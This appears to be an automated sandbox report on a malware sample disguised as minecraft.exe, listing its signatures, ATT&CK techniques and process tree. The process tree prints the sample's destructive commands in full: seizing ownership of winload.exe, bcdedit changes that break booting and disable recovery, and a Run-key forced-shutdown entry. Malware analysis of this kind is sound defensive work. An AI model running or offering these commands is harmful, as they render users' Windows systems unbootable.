c5c4f4d233b522c9be1bdbde055cd53592abaae11317551dd942f83adacab9b2

Analysis

max time kernel
78s
max time network
80s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/08/2026, 13:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
minecraft.exe
Size 443KB
Sample260828-ractvaan61
SHA256 c5c4f4d233b522c9be1bdbde055cd53592abaae11317551dd942f83adacab9b2
MD5 23b0ee473d5ba8f0b51e4078c82be759
SHA1 b789d0733a54b68a59df47d26c0b343c1e653d3b
SHA512 d4c4caa2b3990062b078c9f0c81945d52ecab82c0967586dc76534e23050dfa041b2c42b4785af883c259612a5390f4c573e402521d34e71ad4e25a495146479
SSDEEP 6144:XL3hUL1WUcCiHqOxi9DD70KYAwpGblhRGGxVIRvzjrWj8gh:sRQqOxiN4n/GxG9y
TLSH
T176A48DAAE75548F9D1A6C174CA528621E231F81D0711DBEF239843367E26BC1AF3DF60
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion exploit persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4888	bcdedit.exe
3612	bcdedit.exe
2456	bcdedit.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2348	takeown.exe
5868	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2348	takeown.exe
5868	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AutoShutdown = "shutdown /s /t 60 /f"	reg.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4932	taskkill.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2348	takeown.exe
Token: SeDebugPrivilege	4932	taskkill.exe
Token: SeShutdownPrivilege	5772	shutdown.exe
Token: SeRemoteShutdownPrivilege	5772	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1892	PickerHost.exe
5388	LogonUI.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1392 wrote to memory of 4932	1392	minecraft.exe	90
PID 1392 wrote to memory of 2348	1392	minecraft.exe	91
PID 1392 wrote to memory of 5868	1392	minecraft.exe	92
PID 1392 wrote to memory of 2456	1392	minecraft.exe	93
PID 1392 wrote to memory of 3612	1392	minecraft.exe	94
PID 1392 wrote to memory of 4888	1392	minecraft.exe	95
PID 1392 wrote to memory of 3368	1392	minecraft.exe	96

C:\Users\Admin\AppData\Local\Temp\minecraft.exe
"C:\Users\Admin\AppData\Local\Temp\minecraft.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1392
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f C:\Windows\System32\winload.exe
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Windows\SYSTEM32\icacls.exe
  icacls C:\Windows\System32\winload.exe /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5868
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} path \Windows\System32\winload_broken.exe
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2456
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3612
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4888
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AutoShutdown" /t REG_SZ /d "shutdown /s /t 60 /f" /f
  2⤵
  - Adds Run key to start application
  PID:3368

C:\Windows\system32\shutdown.exe
shutdown /s /t 60 /f
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5772

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1892

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a2e055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads